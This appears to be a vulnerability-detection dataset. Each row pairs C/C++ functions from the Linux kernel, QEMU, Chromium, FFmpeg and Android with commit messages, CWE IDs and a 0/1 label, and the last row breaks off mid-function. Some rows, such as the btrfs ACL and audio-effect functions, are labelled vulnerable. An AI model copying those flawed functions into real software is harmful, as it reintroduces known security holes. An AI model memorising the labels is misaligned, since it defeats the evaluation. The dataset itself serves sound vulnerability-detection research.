instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void coroutine_fn v9fs_setattr(void *opaque)
{
int err = 0;
int32_t fid;
V9fsFidState *fidp;
size_t offset = 7;
V9fsIattr v9iattr;
V9fsPDU *pdu = opaque;
err = pdu_unmarshal(pdu, offset, "dI", &fid, &v9iattr);
if (err < 0) {
goto out_nofid;
}
fidp = get_fid(pdu, fid);
if (fidp == NULL) {
err = -EINVAL;
goto out_nofid;
}
if (v9iattr.valid & P9_ATTR_MODE) {
err = v9fs_co_chmod(pdu, &fidp->path, v9iattr.mode);
if (err < 0) {
goto out;
}
}
if (v9iattr.valid & (P9_ATTR_ATIME | P9_ATTR_MTIME)) {
struct timespec times[2];
if (v9iattr.valid & P9_ATTR_ATIME) {
if (v9iattr.valid & P9_ATTR_ATIME_SET) {
times[0].tv_sec = v9iattr.atime_sec;
times[0].tv_nsec = v9iattr.atime_nsec;
} else {
times[0].tv_nsec = UTIME_NOW;
}
} else {
times[0].tv_nsec = UTIME_OMIT;
}
if (v9iattr.valid & P9_ATTR_MTIME) {
if (v9iattr.valid & P9_ATTR_MTIME_SET) {
times[1].tv_sec = v9iattr.mtime_sec;
times[1].tv_nsec = v9iattr.mtime_nsec;
} else {
times[1].tv_nsec = UTIME_NOW;
}
} else {
times[1].tv_nsec = UTIME_OMIT;
}
err = v9fs_co_utimensat(pdu, &fidp->path, times);
if (err < 0) {
goto out;
}
}
/*
* If the only valid entry in iattr is ctime we can call
* chown(-1,-1) to update the ctime of the file
*/
if ((v9iattr.valid & (P9_ATTR_UID | P9_ATTR_GID)) ||
((v9iattr.valid & P9_ATTR_CTIME)
&& !((v9iattr.valid & P9_ATTR_MASK) & ~P9_ATTR_CTIME))) {
if (!(v9iattr.valid & P9_ATTR_UID)) {
v9iattr.uid = -1;
}
if (!(v9iattr.valid & P9_ATTR_GID)) {
v9iattr.gid = -1;
}
err = v9fs_co_chown(pdu, &fidp->path, v9iattr.uid,
v9iattr.gid);
if (err < 0) {
goto out;
}
}
if (v9iattr.valid & (P9_ATTR_SIZE)) {
err = v9fs_co_truncate(pdu, &fidp->path, v9iattr.size);
if (err < 0) {
goto out;
}
}
err = offset;
out:
put_fid(pdu, fidp);
out_nofid:
pdu_complete(pdu, err);
}
Commit Message:
CWE ID: CWE-400
| 0
| 7,733
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gfx::ImageSkia CreateDisabledIcon(const gfx::ImageSkia& icon) {
const color_utils::HSL shift = {-1, 0, 0.6};
return gfx::ImageSkiaOperations::CreateHSLShiftedImage(icon, shift);
}
Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry
This CL adds GetInstalledExtension() method to ExtensionRegistry and
uses it instead of deprecated ExtensionService::GetInstalledExtension()
in chrome/browser/ui/app_list/.
Part of removing the deprecated GetInstalledExtension() call
from the ExtensionService.
BUG=489687
Review URL: https://codereview.chromium.org/1130353010
Cr-Commit-Position: refs/heads/master@{#333036}
CWE ID:
| 0
| 123,941
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void get_tag(AVFormatContext *s, const char *key, int type, int len, int type2_size)
{
ASFContext *asf = s->priv_data;
char *value = NULL;
int64_t off = avio_tell(s->pb);
#define LEN 22
if ((unsigned)len >= (UINT_MAX - LEN) / 2)
return;
if (!asf->export_xmp && !strncmp(key, "xmp", 3))
goto finish;
value = av_malloc(2 * len + LEN);
if (!value)
goto finish;
switch (type) {
case ASF_UNICODE:
avio_get_str16le(s->pb, len, value, 2 * len + 1);
break;
case -1: // ASCI
avio_read(s->pb, value, len);
value[len]=0;
break;
case ASF_BYTE_ARRAY:
if (!strcmp(key, "WM/Picture")) { // handle cover art
asf_read_picture(s, len);
} else if (!strcmp(key, "ID3")) { // handle ID3 tag
get_id3_tag(s, len);
} else {
av_log(s, AV_LOG_VERBOSE, "Unsupported byte array in tag %s.\n", key);
}
goto finish;
case ASF_BOOL:
case ASF_DWORD:
case ASF_QWORD:
case ASF_WORD: {
uint64_t num = get_value(s->pb, type, type2_size);
snprintf(value, LEN, "%"PRIu64, num);
break;
}
case ASF_GUID:
av_log(s, AV_LOG_DEBUG, "Unsupported GUID value in tag %s.\n", key);
goto finish;
default:
av_log(s, AV_LOG_DEBUG,
"Unsupported value type %d in tag %s.\n", type, key);
goto finish;
}
if (*value)
av_dict_set(&s->metadata, key, value, 0);
finish:
av_freep(&value);
avio_seek(s->pb, off + len, SEEK_SET);
}
Commit Message: avformat/asfdec: Fix DoS in asf_build_simple_index()
Fixes: Missing EOF check in loop
No testcase
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-399
| 0
| 61,366
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vrend_destroy_so_target(struct vrend_so_target *target)
{
vrend_resource_reference(&target->buffer, NULL);
free(target);
}
Commit Message:
CWE ID: CWE-772
| 0
| 8,847
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int RenderBlock::lineCount(const RootInlineBox* stopRootInlineBox, bool* found) const
{
int count = 0;
if (style()->visibility() == VISIBLE) {
if (childrenInline())
for (RootInlineBox* box = firstRootBox(); box; box = box->nextRootBox()) {
count++;
if (box == stopRootInlineBox) {
if (found)
*found = true;
break;
}
}
else
for (RenderObject* obj = firstChild(); obj; obj = obj->nextSibling())
if (shouldCheckLines(obj)) {
bool recursiveFound = false;
count += toRenderBlock(obj)->lineCount(stopRootInlineBox, &recursiveFound);
if (recursiveFound) {
if (found)
*found = true;
break;
}
}
}
return count;
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 116,233
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int check_ctx_access(struct bpf_verifier_env *env, int off, int size,
enum bpf_access_type t, enum bpf_reg_type *reg_type)
{
/* for analyzer ctx accesses are already validated and converted */
if (env->analyzer_ops)
return 0;
if (env->prog->aux->ops->is_valid_access &&
env->prog->aux->ops->is_valid_access(off, size, t, reg_type)) {
/* remember the offset of last byte accessed in ctx */
if (env->prog->aux->max_ctx_offset < off + size)
env->prog->aux->max_ctx_offset = off + size;
return 0;
}
verbose("invalid bpf_context access off=%d size=%d\n", off, size);
return -EACCES;
}
Commit Message: bpf: don't let ldimm64 leak map addresses on unprivileged
The patch fixes two things at once:
1) It checks the env->allow_ptr_leaks and only prints the map address to
the log if we have the privileges to do so, otherwise it just dumps 0
as we would when kptr_restrict is enabled on %pK. Given the latter is
off by default and not every distro sets it, I don't want to rely on
this, hence the 0 by default for unprivileged.
2) Printing of ldimm64 in the verifier log is currently broken in that
we don't print the full immediate, but only the 32 bit part of the
first insn part for ldimm64. Thus, fix this up as well; it's okay to
access, since we verified all ldimm64 earlier already (including just
constants) through replace_map_fd_with_map_ptr().
Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs")
Fixes: cbd357008604 ("bpf: verifier (add ability to receive verification log)")
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>
Acked-by: Alexei Starovoitov <ast@kernel.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 65,033
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __btrfs_set_acl(struct btrfs_trans_handle *trans,
struct inode *inode, struct posix_acl *acl, int type)
{
int ret, size = 0;
const char *name;
char *value = NULL;
switch (type) {
case ACL_TYPE_ACCESS:
name = XATTR_NAME_POSIX_ACL_ACCESS;
if (acl) {
ret = posix_acl_equiv_mode(acl, &inode->i_mode);
if (ret < 0)
return ret;
if (ret == 0)
acl = NULL;
}
ret = 0;
break;
case ACL_TYPE_DEFAULT:
if (!S_ISDIR(inode->i_mode))
return acl ? -EINVAL : 0;
name = XATTR_NAME_POSIX_ACL_DEFAULT;
break;
default:
return -EINVAL;
}
if (acl) {
size = posix_acl_xattr_size(acl->a_count);
value = kmalloc(size, GFP_KERNEL);
if (!value) {
ret = -ENOMEM;
goto out;
}
ret = posix_acl_to_xattr(&init_user_ns, acl, value, size);
if (ret < 0)
goto out;
}
ret = __btrfs_setxattr(trans, inode, name, value, size, 0);
out:
kfree(value);
if (!ret)
set_cached_acl(inode, type, acl);
return ret;
}
Commit Message: posix_acl: Clear SGID bit when setting file permissions
When file permissions are modified via chmod(2) and the user is not in
the owning group or capable of CAP_FSETID, the setgid bit is cleared in
inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file
permissions as well as the new ACL, but doesn't clear the setgid bit in
a similar way; this allows to bypass the check in chmod(2). Fix that.
References: CVE-2016-7097
Reviewed-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Jeff Layton <jlayton@redhat.com>
Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Andreas Gruenbacher <agruenba@redhat.com>
CWE ID: CWE-285
| 1
| 166,967
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmxnet3_validate_interrupts(VMXNET3State *s)
{
int i;
VMW_CFPRN("Verifying event interrupt index (%d)", s->event_int_idx);
vmxnet3_validate_interrupt_idx(s->msix_used, s->event_int_idx);
for (i = 0; i < s->txq_num; i++) {
int idx = s->txq_descr[i].intr_idx;
VMW_CFPRN("Verifying TX queue %d interrupt index (%d)", i, idx);
vmxnet3_validate_interrupt_idx(s->msix_used, idx);
}
for (i = 0; i < s->rxq_num; i++) {
int idx = s->rxq_descr[i].intr_idx;
VMW_CFPRN("Verifying RX queue %d interrupt index (%d)", i, idx);
vmxnet3_validate_interrupt_idx(s->msix_used, idx);
}
}
Commit Message:
CWE ID: CWE-200
| 0
| 9,077
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ssize_t tpm_show_enabled(struct device * dev, struct device_attribute * attr,
char *buf)
{
cap_t cap;
ssize_t rc;
rc = tpm_getcap(dev, TPM_CAP_FLAG_PERM, &cap,
"attempting to determine the permanent enabled state");
if (rc)
return 0;
rc = sprintf(buf, "%d\n", !cap.perm_flags.disable);
return rc;
}
Commit Message: char/tpm: Fix unitialized usage of data buffer
This patch fixes information leakage to the userspace by initializing
the data buffer to zero.
Reported-by: Peter Huewe <huewe.external@infineon.com>
Signed-off-by: Peter Huewe <huewe.external@infineon.com>
Signed-off-by: Marcel Selhorst <m.selhorst@sirrix.com>
[ Also removed the silly "* sizeof(u8)". If that isn't 1, we have way
deeper problems than a simple multiplication can fix. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-200
| 0
| 27,648
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ExtensionInstallPrompt::Prompt::GetIsShowingDetails(
DetailsType type, size_t index) const {
switch (type) {
case PERMISSIONS_DETAILS:
CHECK_LT(index, prompt_permissions_.is_showing_details.size());
return prompt_permissions_.is_showing_details[index];
case WITHHELD_PERMISSIONS_DETAILS:
CHECK_LT(index, withheld_prompt_permissions_.is_showing_details.size());
return withheld_prompt_permissions_.is_showing_details[index];
case RETAINED_FILES_DETAILS:
return is_showing_details_for_retained_files_;
case RETAINED_DEVICES_DETAILS:
return is_showing_details_for_retained_devices_;
}
return false;
}
Commit Message: Make the webstore inline install dialog be tab-modal
Also clean up a few minor lint errors while I'm in here.
BUG=550047
Review URL: https://codereview.chromium.org/1496033003
Cr-Commit-Position: refs/heads/master@{#363925}
CWE ID: CWE-17
| 0
| 131,688
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int kill_pid_info(int sig, struct siginfo *info, struct pid *pid)
{
int error = -ESRCH;
struct task_struct *p;
for (;;) {
rcu_read_lock();
p = pid_task(pid, PIDTYPE_PID);
if (p)
error = group_send_sig_info(sig, info, p);
rcu_read_unlock();
if (likely(!p || error != -ESRCH))
return error;
/*
* The task was unhashed in between, try again. If it
* is dead, pid_task() will return NULL, if we race with
* de_thread() it will find the new leader.
*/
}
}
Commit Message: kernel/signal.c: avoid undefined behaviour in kill_something_info
When running kill(72057458746458112, 0) in userspace I hit the following
issue.
UBSAN: Undefined behaviour in kernel/signal.c:1462:11
negation of -2147483648 cannot be represented in type 'int':
CPU: 226 PID: 9849 Comm: test Tainted: G B ---- ------- 3.10.0-327.53.58.70.x86_64_ubsan+ #116
Hardware name: Huawei Technologies Co., Ltd. RH8100 V3/BC61PBIA, BIOS BLHSV028 11/11/2014
Call Trace:
dump_stack+0x19/0x1b
ubsan_epilogue+0xd/0x50
__ubsan_handle_negate_overflow+0x109/0x14e
SYSC_kill+0x43e/0x4d0
SyS_kill+0xe/0x10
system_call_fastpath+0x16/0x1b
Add code to avoid the UBSAN detection.
[akpm@linux-foundation.org: tweak comment]
Link: http://lkml.kernel.org/r/1496670008-59084-1-git-send-email-zhongjiang@huawei.com
Signed-off-by: zhongjiang <zhongjiang@huawei.com>
Cc: Oleg Nesterov <oleg@redhat.com>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Xishi Qiu <qiuxishi@huawei.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-119
| 0
| 83,231
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sapi_fcgi_ub_write(const char *str, uint str_length TSRMLS_DC)
{
const char *ptr = str;
uint remaining = str_length;
fcgi_request *request = (fcgi_request*) SG(server_context);
while (remaining > 0) {
long ret = fcgi_write(request, FCGI_STDOUT, ptr, remaining);
if (ret <= 0) {
php_handle_aborted_connection();
return str_length - remaining;
}
ptr += ret;
remaining -= ret;
}
return str_length;
}
Commit Message:
CWE ID: CWE-119
| 0
| 7,275
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: uint32_t CommandBufferProxyImpl::CreateStreamTexture(uint32_t texture_id) {
CheckLock();
base::AutoLock lock(last_state_lock_);
if (last_state_.error != gpu::error::kNoError)
return 0;
int32_t stream_id = channel_->GenerateRouteID();
bool succeeded = false;
Send(new GpuCommandBufferMsg_CreateStreamTexture(route_id_, texture_id,
stream_id, &succeeded));
if (!succeeded) {
DLOG(ERROR) << "GpuCommandBufferMsg_CreateStreamTexture returned failure";
return 0;
}
return stream_id;
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 149,438
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void f2fs_show_quota_options(struct seq_file *seq,
struct super_block *sb)
{
#ifdef CONFIG_QUOTA
struct f2fs_sb_info *sbi = F2FS_SB(sb);
if (sbi->s_jquota_fmt) {
char *fmtname = "";
switch (sbi->s_jquota_fmt) {
case QFMT_VFS_OLD:
fmtname = "vfsold";
break;
case QFMT_VFS_V0:
fmtname = "vfsv0";
break;
case QFMT_VFS_V1:
fmtname = "vfsv1";
break;
}
seq_printf(seq, ",jqfmt=%s", fmtname);
}
if (sbi->s_qf_names[USRQUOTA])
seq_show_option(seq, "usrjquota", sbi->s_qf_names[USRQUOTA]);
if (sbi->s_qf_names[GRPQUOTA])
seq_show_option(seq, "grpjquota", sbi->s_qf_names[GRPQUOTA]);
if (sbi->s_qf_names[PRJQUOTA])
seq_show_option(seq, "prjjquota", sbi->s_qf_names[PRJQUOTA]);
#endif
}
Commit Message: f2fs: fix potential panic during fstrim
As Ju Hyung Park reported:
"When 'fstrim' is called for manual trim, a BUG() can be triggered
randomly with this patch.
I'm seeing this issue on both x86 Desktop and arm64 Android phone.
On x86 Desktop, this was caused during Ubuntu boot-up. I have a
cronjob installed which calls 'fstrim -v /' during boot. On arm64
Android, this was caused during GC looping with 1ms gc_min_sleep_time
& gc_max_sleep_time."
Root cause of this issue is that f2fs_wait_discard_bios can only be
used by f2fs_put_super, because during put_super there must be no
other referrers, so it can ignore discard entry's reference count
when removing the entry, otherwise in other caller we will hit bug_on
in __remove_discard_cmd as there may be other issuer added reference
count in discard entry.
Thread A Thread B
- issue_discard_thread
- f2fs_ioc_fitrim
- f2fs_trim_fs
- f2fs_wait_discard_bios
- __issue_discard_cmd
- __submit_discard_cmd
- __wait_discard_cmd
- dc->ref++
- __wait_one_discard_bio
- __wait_discard_cmd
- __remove_discard_cmd
- f2fs_bug_on(sbi, dc->ref)
Fixes: 969d1b180d987c2be02de890d0fff0f66a0e80de
Reported-by: Ju Hyung Park <qkrwngud825@gmail.com>
Signed-off-by: Chao Yu <yuchao0@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-20
| 0
| 86,058
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int LELib_Create(const effect_uuid_t *uuid,
int32_t sessionId,
int32_t ioId,
effect_handle_t *pHandle) {
ALOGV("LELib_Create()");
int ret;
int i;
if (pHandle == NULL || uuid == NULL) {
return -EINVAL;
}
if (memcmp(uuid, &gLEDescriptor.uuid, sizeof(effect_uuid_t)) != 0) {
return -EINVAL;
}
LoudnessEnhancerContext *pContext = new LoudnessEnhancerContext;
pContext->mItfe = &gLEInterface;
pContext->mState = LOUDNESS_ENHANCER_STATE_UNINITIALIZED;
pContext->mCompressor = NULL;
ret = LE_init(pContext);
if (ret < 0) {
ALOGW("LELib_Create() init failed");
delete pContext;
return ret;
}
*pHandle = (effect_handle_t)pContext;
pContext->mState = LOUDNESS_ENHANCER_STATE_INITIALIZED;
ALOGV(" LELib_Create context is %p", pContext);
return 0;
}
Commit Message: audio effects: fix heap overflow
Check consistency of effect command reply sizes before
copying to reply address.
Also add null pointer check on reply size.
Also remove unused parameter warning.
Bug: 21953516.
Change-Id: I4cf00c12eaed696af28f3b7613f7e36f47a160c4
(cherry picked from commit 0f714a464d2425afe00d6450535e763131b40844)
CWE ID: CWE-119
| 1
| 173,346
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int unuse_pte_range(struct vm_area_struct *vma, pmd_t *pmd,
unsigned long addr, unsigned long end,
swp_entry_t entry, struct page *page)
{
pte_t swp_pte = swp_entry_to_pte(entry);
pte_t *pte;
int ret = 0;
/*
* We don't actually need pte lock while scanning for swp_pte: since
* we hold page lock and mmap_sem, swp_pte cannot be inserted into the
* page table while we're scanning; though it could get zapped, and on
* some architectures (e.g. x86_32 with PAE) we might catch a glimpse
* of unmatched parts which look like swp_pte, so unuse_pte must
* recheck under pte lock. Scanning without pte lock lets it be
* preemptible whenever CONFIG_PREEMPT but not CONFIG_HIGHPTE.
*/
pte = pte_offset_map(pmd, addr);
do {
/*
* swapoff spends a _lot_ of time in this loop!
* Test inline before going to call unuse_pte.
*/
if (unlikely(pte_same(*pte, swp_pte))) {
pte_unmap(pte);
ret = unuse_pte(vma, pmd, addr, entry, page);
if (ret)
goto out;
pte = pte_offset_map(pmd, addr);
}
} while (pte++, addr += PAGE_SIZE, addr != end);
pte_unmap(pte - 1);
out:
return ret;
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 21,423
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHPAPI void php_set_session_var(char *name, size_t namelen, zval *state_val, php_unserialize_data_t *var_hash TSRMLS_DC) /* {{{ */
{
IF_SESSION_VARS() {
zend_set_hash_symbol(state_val, name, namelen, PZVAL_IS_REF(state_val), 1, Z_ARRVAL_P(PS(http_session_vars)));
}
}
/* }}} */
Commit Message:
CWE ID: CWE-416
| 0
| 9,643
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bt_status_t btif_dm_ssp_reply(const bt_bdaddr_t *bd_addr,
bt_ssp_variant_t variant, uint8_t accept,
uint32_t passkey)
{
UNUSED(passkey);
if (variant == BT_SSP_VARIANT_PASSKEY_ENTRY)
{
